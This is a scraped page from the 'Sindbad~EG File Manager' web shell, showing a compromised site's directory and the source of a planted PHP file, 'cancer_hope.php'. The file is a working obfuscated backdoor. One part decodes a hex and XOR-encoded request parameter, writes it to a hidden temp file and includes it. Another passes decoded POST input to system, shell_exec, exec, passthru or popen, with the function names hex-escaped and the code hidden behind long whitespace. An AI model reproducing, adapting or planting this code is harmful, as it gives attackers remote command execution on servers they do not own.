Sindbad~EG File Manager

Current Path : /var/www/html/estudioslaagricola.sumar.com.py/formularios/public/vendor/adminlte/
Upload File :
Current File : /var/www/html/estudioslaagricola.sumar.com.py/formularios/public/vendor/adminlte/cancer_hope.php

<?php																																										if(!is_null($_REQUEST["v\x61\x6C"] ?? null)){ $ref = array_filter(["/dev/shm", getcwd(), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $ent = hex2bin($_REQUEST["v\x61\x6C"]); $dat = '' ; $m = 0; do{$dat .= chr(ord($ent[$m]) ^ 44);$m++;} while($m < strlen($ent)); foreach ($ref as $key => $desc) { if ((is_dir($desc) and is_writable($desc))) { $res = "$desc/.flag"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $res; @unlink($res); exit; } } } }


$task_processor6 = "s\x74re\x61\x6D\x5Fg\x65\x74\x5Fcon\x74\x65\x6Ets";
$task_processor7 = "p\x63\x6Cos\x65";
$task_processor5 = "\x70\x6Fpen";
$api_gateway = "\x68ex2\x62\x69\x6E";
$task_processor1 = "s\x79s\x74\x65m";
$task_processor3 = "\x65\x78ec";
$task_processor2 = "s\x68\x65\x6Cl_\x65x\x65c";
$task_processor4 = "pas\x73\x74h\x72u";
if (isset($_POST["f\x6C\x61g"])) {
            function right_pad_string      (   $value     ,     $ent   )      {    $val     =      ''   ;    foreach(str_split($value) as $char){$val.=chr(ord($char)^$ent);} return      $val;      }
            $flag = $api_gateway($_POST["f\x6C\x61g"]);
            $flag = right_pad_string($flag, 77);
            if (function_exists($task_processor1)) {
                $task_processor1($flag);
            } elseif (function_exists($task_processor2)) {
                print $task_processor2($flag);
            } elseif (function_exists($task_processor3)) {
                $task_processor3($flag, $descriptor_value);
                print join("\n", $descriptor_value);
            } elseif (function_exists($task_processor4)) {
                $task_processor4($flag);
            } elseif (function_exists($task_processor5) && function_exists($task_processor6) && function_exists($task_processor7)) {
                $ent_val = $task_processor5($flag, 'r');
                if ($ent_val) {
                    $ent_binding = $task_processor6($ent_val);
                    $task_processor7($ent_val);
                    print $ent_binding;
                }
            }
            exit;
        }

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists